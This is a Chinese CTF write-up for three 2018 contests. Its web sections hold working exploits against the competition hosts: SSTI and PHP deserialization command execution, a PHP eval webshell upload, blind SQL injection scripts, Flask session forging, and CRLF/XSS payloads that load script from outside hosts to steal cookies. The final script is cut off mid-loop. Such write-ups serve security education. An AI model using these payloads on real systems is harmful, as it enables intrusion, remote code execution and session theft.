省赛_上海大学生ctf_HCTF wp

省赛科来杯

Misc

Crack it

给了个shadow文件,使用john(kali自带)破解

进制转换

写python脚本转化下

1
2
3
4
5
6
7
8
9
10
11
12
13
f = open('text.txt', 'r')
flag = ''
for line in f.readlines():
num = line[1:]
if line[0] == 'b':
flag += chr(int(num, 2))
elif line[0] == 'x':
flag += chr(int(num, 16))
elif line[0] == 'd':
flag += chr(int(num))
elif line[0] == 'o':
flag += chr(int(num, 8))
print flag

basic

给的文件里都是坐标,一开始以为要画一个二维码,一直画不出来,后来才意识到不是正方形,浪费了很长时间,写脚本写到心态有点炸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from PIL import Image
h=900
w=150
pic = Image.new("RGB",(w, h))
file = open("basic.txt",'r')
str=[]
for m in file.readlines():
str.append(m[1:-2])

i=0
for x in range (0,w):
for y in range (0,h):
rgb=str[i].split(',')
pic.putpixel([x,y],(int(rgb[0]),int(rgb[1]),int(rgb[2])))
i=i+1

pic.show()
pic.save("flag.png")

Crypto

affine

仿射加密

1
2
3
4
5
6
7
8
9
m = 'szzyfimhyzd'
strs = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
flag = ''
for c in m:
for i in strs:
if ((17*(ord(i)-97)-8)%26) == (ord(c)-97):
flag += i
break
print(flag)

rsa

e很大,winner attack

神秘的代码

提示异或,把给的两个文件异或下

1
2
3
4
5
6
7
a = open('info_clear.txt','rb').read()
b = open('info_crypt.txt','rb').read()
oxstr =''
for i in range(0,len(a)):
res = ord(list(a)[i]) ^ ord(list(b)[i])
oxstr =oxstr +chr(res)
print oxstr

得到

1
i am a hydre agenT, coverly spying on the superHeroes. I am aware of the group that iS going to aTtack you...but Hydra has had its diffErences with you in the past, so i'm not going to maKe it vEry simple for You ....ecb...aes(I Vouch for this: 12345)...md5(this)...base64...

有几个大写字母,比较诡异,提出来能组成THISTHEKEYIV

aes解密,ecb模式

然后不会了

Stego

啊哒

图片分离出zip压缩包,有密码

在给的图片的照相机信息里有一串字符串73646E6973635F32303138,16进制转字符串sdnisc_2018,就是压缩包的密码

colors

给了七张图

用stegsolve看下发现每张图都藏着字母,组合起来MakeMetall

把图像高度变高,发现图片下边都有黑白方块,想到二进制转为01

但是。。。是竖着读的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
1 1 1 1 1 1 1 1 0 1 0 1 1 1 1 0 1 1 1 1
1 1 1 1 1 0 1 1 1 1 1 1 1 0 1 1 1 1 1 1
0 0 0 0 1 1 0 0 1 0 1 0 1 0 1 1 0 0 0 1
0 1 0 0 1 0 1 0 0 1 0 0 0 0 0 0 1 1 0 1
1 1 0 1 0 0 1 1 0 1 1 1 0 1 0 1 0 1 1 1
1 0 0 1 1 0 1 1 0 1 1 0 1 0 1 1 0 1 1 0
0 0 1 1 1 0 0 1 1 0 1 1 0 1 1 1 1 1 0 1

1100110
1101100
1100001
1100111
1111011
1010000
1101110
1100111
0110001
1101110
0110111
1100101
1110010
1000101
1110011
0110111
1101001
1101111
1100110
1111101

flag{Png1n7erEs7iof}

神秘的文件

zip明文攻击

Forensic

特殊后门

icmp方式中有一句flagishere,flag就在这条上边的记录里,一个一个字拼起来得到flag

日志分析

sql盲注注入的日志,找到最后二十五条,得到flag每位的asc码

Web

babyweb

改xff头,cookie

babyweb2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

include 'here.php';
$key = 'kelaibei';

if(isset($_GET['id'])){
$id = $_GET['id'];
@parse_str($id);
if ($key[99] != 'aabg7XSs' && md5($key[99]) == md5('aabg7XSs')) {
echo $hint;
}
else{
echo 'try again';
}
}
else{
show_source(__FILE__);
}

parse_str变量覆盖

1
http://47.105.148.65:29002/?id=key[99]=s1091221200a

然后是一个上传数据的页面,上传完访问提示too slow,说明要快点访问到

burp不断发访问文件的数据包,再发一个上传文件的数据包,得到flag

ioHvAU.png

easy_flask

sql注入+模板注入

1
2
3
4
5
{{[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('cat /flag').read()}}

0x7b7b5b5d2e5f5f636c6173735f5f2e5f5f62617365735f5f5b305d2e5f5f737562636c61737365735f5f28295b35395d2e5f5f696e69745f5f2e5f5f676c6f62616c735f5f2e5f5f6275696c74696e735f5f2e5f5f696d706f72745f5f28276f7327292e706f70656e2827636174202f666c616727292e7265616428297d7d

?username=daolgts'union+select+1,2,0x7b7b5b5d2e5f5f636c6173735f5f2e5f5f62617365735f5f5b305d2e5f5f737562636c61737365735f5f28295b35395d2e5f5f696e69745f5f2e5f5f676c6f62616c735f5f2e5f5f6275696c74696e735f5f2e5f5f696d706f72745f5f28276f7327292e706f70656e2827636174202f666c616727292e7265616428297d7d%23

ioHxNF.png

2018 上海市大学生网络安全大赛线上

web1 what are you doing?

最后一步ssrf

1
url=file://www.ichunqiu.com/../var/www/html/flag.php
1
url=file://@127.0.0.1:80@www.ichunqiu.com/./..//var/www/html/flag.php

web2 Can you hack me?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php
error_reporting(0);
class come{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
function waf($str){
$str=preg_replace("/[<>*;|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function echo($host){
system("echo $host");
}
function __destruct(){
if (in_array($this->method, array("echo"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}

}

$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
if($i===1)
{
$i++;
$$key = $value;
}
else{break;}
}
if($first==="doller")
{
@parse_str($_GET['a']);
if($var==="give")
{
if($bbb==="me")
{
if($ccc==="flag")
{
echo "<br>welcome!<br>";
$come=@$_POST['come'];
unserialize($come);
}
}
else
{echo "<br>think about it<br>";}
}
else
{
echo "NO";
}
}
else
{
echo "Can you hack me?<br>";
}
?>

first=doller&a=var=give%26bbb=me%26ccc=flag变量覆盖

然后构造反序列化执行命令

双写flag绕过

1
come=O:4:"come":2:{s:12:"%00come%00method";s:4:"echo";s:10:"%00come%00args";a:1:{i:0;s:19:"2&&cat$IFS/flflagag";}}

分割flag

1
come=O:4:"come":2:{s:12:"%00come%00method";s:4:"echo";s:10:"%00come%00args";a:1:{s:4:"host";s:20:"123&cat${IFS}/fl""ag";}}123

键值为0或者host都可以,注意private变量序列化后会加上类名和不可见字符\00

1
2
3
4
5
6
7
8
9
10
class daolgts{
private $test1="hello";
public $test2="hello";
protected $test3="hello";
}
$test = new daolgts();
echo serialize($test);


O:7:"daolgts":3:{s:14:"%00daolgts%00test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"%00*%00test3";s:5:"hello";}

web3 GOOD JOB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
//error_reporting(0);
//$dir=md5("icq" . $_SERVER['REMOTE_ADDR']);
$dir=md5("icq");
$sandbox = '/var/sandbox/' . $dir;
@mkdir($sandbox);
@chdir($sandbox);

if($_FILES['file']['name']){
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename)) {
$filename = explode('.', $filename);
}
$ext = end($filename);
if($ext==$filename[count($filename) - 1]){
die("emmmm...");
}
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hehe'];
if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
include($_);
}
unlink($new_name);
}
else{
highlight_file(__FILE__);
}

首先数组绕过

1
2
3
if($ext==$filename[count($filename) - 1]){
die("emmmm...");
}

上传file[0]和file[2],count()函数会记为2,$filename[count($filename) - 1]就是$file[1],而$file[1]是没有的,也就是空,if语句判断为假,不会执行die

测试一下

1
2
3
4
5
6
echo $ext;
echo "<br>";
echo count($filename);
echo "<br>";
echo $filename[count($filename) - 1];
echo "<br>";

iH4SHO.png

然后用 /. 绕过 unlink

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
POST /upload.php?cmd=system('cat+/flag'); HTTP/1.1
Host: 192.168.214.134
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------5894518712413
Content-Length: 527

-----------------------------5894518712413
Content-Disposition: form-data; name="file[0]"

php
-----------------------------5894518712413
Content-Disposition: form-data; name="file[2]"

php/.
-----------------------------5894518712413
Content-Disposition: form-data; name="hehe"

162.php
-----------------------------5894518712413
Content-Disposition: form-data; name="file"; filename="index.php"
Content-Type: application/octet-stream

@<?php eval($_GET['cmd']);
-----------------------------5894518712413--


HTTP/1.1 200 OK
Date: Fri, 09 Nov 2018 06:56:52 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 37
Connection: close
Content-Type: text/html; charset=UTF-8

php/.<br>2<br><br>@flagggggggggggggg

web4

sql盲注

HCTF

Web

Warmup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
1
2
3
http://warmup.2018.hctf.io/index.php?file=hint.php%253f../../../../../ffffllllaaaagggg

hctf{e8a73a09cfdd1c9a11cca29b2bf9796f}

kzone

模仿扣扣空间的钓鱼网站,扫目录扫到www.zip,得到源码

member.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (isset($_COOKIE["islogin"])) {
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if ($udata['username'] == '') {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
} else {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
}
}

login_data是从cookie中读入然后json_decode得到,而在sql语句中用到了cookie传的值,cookie是可控的,存在注入,可以进行盲注

safe.php中,有waf对输入的参数过滤

1
2
3
4
5
6
7
function waf($string)
{
$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';
return preg_replace_callback($blacklist, function ($match) {
return '@' . $match[0] . '@';
}, $string);
}
  • 直接绕过

or被过滤,information_schema不能用,用mysql.innodb_table_stats来查数据库名表名,发现F1444g表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

dic = list('1234567890abcdefghijklmnopqrstuvwxyz[]<>@!-~?=_()*{}#. /')
ans = ''
for pos in range(1,1000):
flag = 1
for c in dic:
payload = "admin'and(strcmp(right((select/**/*/**/from/**/F1444g/**/limit/**/0,1),%d),'%s'))||'"%(pos,c+ans)
cookies = {'islogin':'1','PHPSESSID':'olvurpb8sqldthvnetdd0elf65','login_data':'{"admin_user":"%s","admin_pass":65}'%payload}
resp = requests.get("http://kzone.2018.hctf.io/include/common.php",cookies=cookies)
if 'Set-Cookie' in resp.headers:
ans = c+ans
print(ord(c))
flag=0
break
if flag:
break
print("--"+ans+"--")
  • 利用json_decode解unicode绕过

waf函数作用在json_decode之前,所以利用unicode字符可以绕过

u->\u0075

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/python
#!coding:utf-8#
# xishir
import requests
import time
import datetime

#hctf{4526a8cbd741b3f790f95ad32c2514b9}

ss = "{}_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-+"
r = requests.session()
url = "http://kzone.2018.hctf.io/admin/"
#url="http://127.0.0.1/hctf/www/admin/"

union = '\u00'+str(hex(ord('u')))[2:]+'nion'
sleep = '\u00'+str(hex(ord('s')))[2:]+'leep'
ascii = '\u00'+str(hex(ord('a')))[2:]+'scii'
ok = '\u00'+str(hex(ord('=')))[2:]
substr = '\u00'+str(hex(ord('s')))[2:]+'ubstr'
over = '\u00'+str(hex(ord('#')))[2:]
blank = "/**/"
orr = '\u00'+str(hex(ord('o')))[2:]+'r'

flag=""
for i in range(1,50):
print i
for j in ss:
payload = "admin' and (substr((select binary F1a9 from F1444g limit 1),"+str(i)+",1)='"+str(j)+"') and sleep(4) and 1='1"

payload = payload.replace('sleep',sleep)
payload = payload.replace('union',union)
payload = payload.replace('=',ok)
payload = payload.replace('#',over)
payload = payload.replace(' ',blank)
payload = payload.replace('ascii',ascii)
payload = payload.replace('substr',substr)
payload = payload.replace('or',orr)

jsons = '{"admin_user":"'+payload+'","admin_pass":"3b30a11aaba222edd6e704e9959b94643ed4ffd9"}'

cookie={"PHPSESSID":"t0k91etf5fecbi4t25d7hprtm3",
"islogin":"1",
"login_data":jsons}

t1=time.time()
r1 = r.get("http://kzone.2018.hctf.io",cookies=cookie)
t2=time.time()
#print t2
if (t2-t1)>4:
#print "aaaaaaaa"
flag+=str(j)
print i,flag
break

exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import re
import string
import time
def enc(ss):
tmp = ''
for s in ss:
tmp += '\u00'+s.encode("hex")
return tmp
url = "http://kzone.2018.hctf.io/admin/index.php"
cookies = {
"islogin":"1",
"login_data":'{"admin_user":"admin","admin_pass":true}'
}
ss = string.letters + string.digits + "{}"
flag = ''
for i in range(1,40):
for s in ss:
#payload = "admin' and if((substr((select binary group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s'),sleep(5),1)#" % (i,s)
#payload = "admin' and if((substr((select binary group_concat(column_name) from information_schema.columns where table_name='F1444g'),%d,1)='%s'),sleep(5),1)#" % (i,s)
payload = "admin' and if((substr((select binary F1a9 from F1444g),%d,1)='%s'),sleep(5),1)#" % (i,s)
#print payload
payload = enc(payload)
cookies = {
"islogin":"1",
"login_data":'{"admin_user":"'+payload+'","admin_pass":true}'
}
time_start = time.time()
content = requests.get(url=url,cookies=cookies).content
time_end = time.time()
#print time_end - time_start
if time_end - time_start >= 5:
flag += s
print flag
break
  • sqlmap tamper脚本

对payload编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
data = '''{"admin_user":"%s"};'''
payload = payload.lower()

payload = payload.replace('u', '\u0075')
payload = payload.replace('o', '\u006f')
payload = payload.replace('i', '\u0069')
payload = payload.replace('\'', '\u0027')
payload = payload.replace('\"', '\u0022')
payload = payload.replace(' ', '\u0020')
payload = payload.replace('s', '\u0073')
payload = payload.replace('#', '\u0023')
payload = payload.replace('>', '\u003e')
payload = payload.replace('<', '\u003c')
payload = payload.replace('-', '\u002d')
payload = payload.replace('=', '\u003d')
payload = payload.replace('f1a9', 'F1a9')
payload = payload.replace('f1', 'F1')
return data % payload

admin

1
2
3
4
5
view-source:http://admin.2018.hctf.io/change

源码里有提示源码

<!-- https://github.com/woadsl1234/hctf_flask/ -->
1
2
3
def strlower(username):
username = nodeprep.prepare(username)
return username

这个函数在处理unicode字符时会有问题

转为小写在注册时会调用一次,更改密码时也会调用一次

https://paper.tuisec.win/detail/a9ad1440249d95b

ᴀ -> A -> a

注册用户ᴀdmin

登录用户ᴀdmin,变成Admin

修改密码Admin,更改了admin的密码

bottle

bottle的crlf注入

https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html

跳转地址的端口要小于80

payloads:

1
2
3
4
5
6
7
http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:0/%250aContent-Type:text/html%250aContent-Security-Policy:script-src%2520*%250a%250a%3Cscript/src=http://zzm.cat/1.js%3E%3C/script%3E

http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/user%0d%0aX-XSS-Protection:0%0d%0aContent-Length:300%0d%0a%0d%0a%3Cscript%20src%3dhttp://139.199.27.197:7000/1.js%3E%3C/script%3E

http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/%0d%0aContent-Length:%2065%0d%0a%0d%0a%3Cscript%20src=http://yourvps/cookie.js%3E%3C/script%3E

http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/user%0AX-XSS-Protection:0%0A%0A%3Cscript%3Elocation.href=`https://xss.p0desta.com/?a=`%2bdocument.cookie%3C/script%3E

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /user HTTP/1.1
Host: bottle.2018.hctf.io
Content-Length: 265
Cache-Control: max-age=0
Origin: http://bottle.2018.hctf.io
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://bottle.2018.hctf.io/user
Accept-Language: zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
Cookie: bottle.session=daae51d11ce34a8ca81bd68199c1cccc
Connection: close

url=http%3A%2F%2Fbottle.2018.hctf.io%2Fpath%3Fpath%3Dhttp%3A%2F%2Fbottle.2018.hctf.io%3A22%2Fuser%250d%250aX-XSS-Protection%3A0%250d%250aContent-Length%3A300%250d%250a%250d%250a%253Cscript%2520src%3Dhttp%3A%2F%2Ft.cn%2FEAQiR7C%253E%253C%2Fscript%253E&captcha=0m%7DA

让服务器去访问http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/user%0d%0aX-XSS-Protection:0%0d%0aContent-Length:300%0d%0a%0d%0a%3Cscript%20src=http://t.cn/EAQiR7C%3E%3C/script%3E

模拟服务器端访问:
iOEHlF.png

hide and seek

/etc/nginx/nginx.conf

1
user nginx; worker_processes auto; error_log /var/log/nginx/error.log warn; pid /var/run/nginx.pid; events { worker_connections 1024; } http { include /etc/nginx/mime.types; default_type application/octet-stream; log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; access_log /var/log/nginx/access.log main; sendfile on; #tcp_nopush on; keepalive_timeout 65; #gzip on; include /etc/nginx/conf.d/*.conf; } daemon off;

/etc/nginx/conf.d/nginx.conf

1
server { listen 80; location / { try_files $uri @app; } location @app { include uwsgi_params; uwsgi_pass unix:///tmp/uwsgi.sock; } location /static { alias /app/static; } }

/proc/self/environ

1
UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiHOSTNAME=82f971e4a9a6SHLVL=0PYTHON_PIP_VERSION=18.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/staticUWSGI_CHEAPER=2NGINX_VERSION=1.13.12-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.13.12.0.2.0-1~stretchLANG=C.UTF-8SUPERVISOR_ENABLED=1PYTHON_VERSION=3.6.6NGINX_WORKER_PROCESSES=autoSUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fgSTATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0

发现/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini

1
[uwsgi] module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main callable=app

/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)

if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'


try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None

os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)


if __name__ == '__main__':
#app.run(debug=True)
app.run(host='127.0.0.1', debug=True, port=10008)
1
2
3
random.seed(uuid.getnode())

app.config['SECRET_KEY'] = str(random.random()*100)

发现随机数的种子用的是mac地址,可以预测secret_key

读mac地址 /sys/class/net/eth0/address

1
12:34:3e:14:7c:62

得到secret_key

1
2
3
4
5
6
7
8
9
In [1]: 0x12343e147c62
Out[1]: 20015589129314

In [2]: import random

In [3]: random.seed(20015589129314)
...: print str(random.random()*100)
...:
11.9351375669

本地flask生成session

1
2
3
4
5
6
7
8
9
10
11
12
#encoding: utf-8
from flask import *
#env = SandboxedEnvironment()
app = Flask(__name__)
app.config['SECRET_KEY'] = "11.935137566861131"

@app.route("/",methods=['GET','POST'])
def login():
session['username'] = u'admin'
return 'aa'
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)

得到

1
eyJ1c2VybmFtZSI6ImFkbWluIn0.DsvSKw.JApw9RQgfbmB0JSG-C2iAaNXgKA

更改session得到flag

game

打开有一个rank list

可以按password排序

http://game.2018.hctf.io/web2/user.php?order=password

注册不同密码的用户,根据注册的用户和admin的顺序先后能猜测出admin的密码

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import string
import re
def reg(username,password):
url = "http://game.2018.hctf.io/web2/action.php?action=reg"
data = {
"username":username,
"password":password,
"sex":1,
"submit":"submit"
}
content = requests.post(url=url,data=data).content
print content
login_url = "http://game.2018.hctf.io/web2/action.php?action=login"
ss = "-/123456789"+string.lowercase
flag = ''
for i in range(32):
for j in range(33,126):
username = "daolgts"+str(i) +"fdfdlxx8alsdff"+str(j)
password = flag + chr(j)
print username,password
reg(username,password)
data = {
"username":username,
"password":str(password),
"submit":"submit"
}
print data
req = requests.session()
content = req.post(url=login_url,data=data).content
#print content
order_url = "http://game.2018.hctf.io/web2/user.php?order=password"
content = req.get(url=order_url).content
#print content
tmp = re.findall(r'%s[.\s\S]+?<td>\s*1\s*</td>\s*<td>\s*admin\s*</td>'%username,content,re.S)
if tmp:
flag = flag + chr(j-1)
print flag
break

exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
import requests
import random
import string
def reg(username,password):
print("reg",username,password)
session = requests.Session()

paramsGet = {"action": "reg"}
paramsPost = {"password": password, "submit": "submit", "sex": "1", "username": username}
headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0",
"Referer": "http://game.2018.hctf.io/web2/reg.html", "Connection": "close",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Content-Type": "application/x-www-form-urlencoded"}
response = session.post("http://game.2018.hctf.io/web2/action.php", data=paramsPost, params=paramsGet,
headers=headers)

print("Status code: %i" % response.status_code)
print("Response body: %s" % response.content)
def login(session,username,password):
paramsGet = {"action": "login"}
paramsPost = {"password": password, "submit": "submit", "username": username}
headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0",
"Referer": "http://game.2018.hctf.io/web2/index.html", "Connection": "close",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Content-Type": "application/x-www-form-urlencoded"}
response = session.post("http://game.2018.hctf.io/web2/action.php", data=paramsPost, params=paramsGet,
headers=headers)

print("Status code: %i" % response.status_code)
print("Response body: %s" % response.content)

def getUserList(session):
headers = {"Accept": "*/*", "X-Requested-With": "XMLHttpRequest",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0",
"Referer": "http://game.2018.hctf.io/web2/game/index.html", "Connection": "close",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"}

response = session.get("http://game.2018.hctf.io/web2/user.php?order=password", headers=headers)

print("Status code: %i" % response.status_code)
# print("Response body: %s" % response.content)
tlist = response.text.split('<tr>')
nList = tlist[2:]
idList = []
nameList=[]
for _ in nList:
info=[]
ems = _.split('<td>')
c=0
for __ in ems:
x = __.split('</td>')[0].strip()
if len(x)>0:
info.append(x)
if c==0:
idList.append(x)
if c==1:
nameList.append(x)
c = c + 1
return idList,nameList
def getIndexByName(nameList,x):
return nameList.index(x)
def getIndexById(idList,x):
return idList.index(x)
def genRandomString(slen=10):
return ''.join(random.sample(string.ascii_letters + string.digits, slen))
def main():
myUsername= 'test@zhua.zhua'
myPassword='test@test'
mySession = requests.Session()
username="93aa243d3ef17"
password="DSA8&&!@#$%^&D1NGY1A"
login(mySession,myUsername,myPassword)
idList,nameList = getUserList(mySession)
print(idList)
print(nameList)
print(nameList[getIndexById(idList,'1')])
for _ in range(1,100):
l=0
r=128
while l<r:
mid=(l+r+1)//2
temp = chr(mid)
testPass = password+temp
testUser = username+genRandomString(10)
reg(testUser,testPass)
idList, nameList = getUserList(mySession)
adminC = getIndexById(idList, '1')
testC = getIndexByName(nameList, testUser)
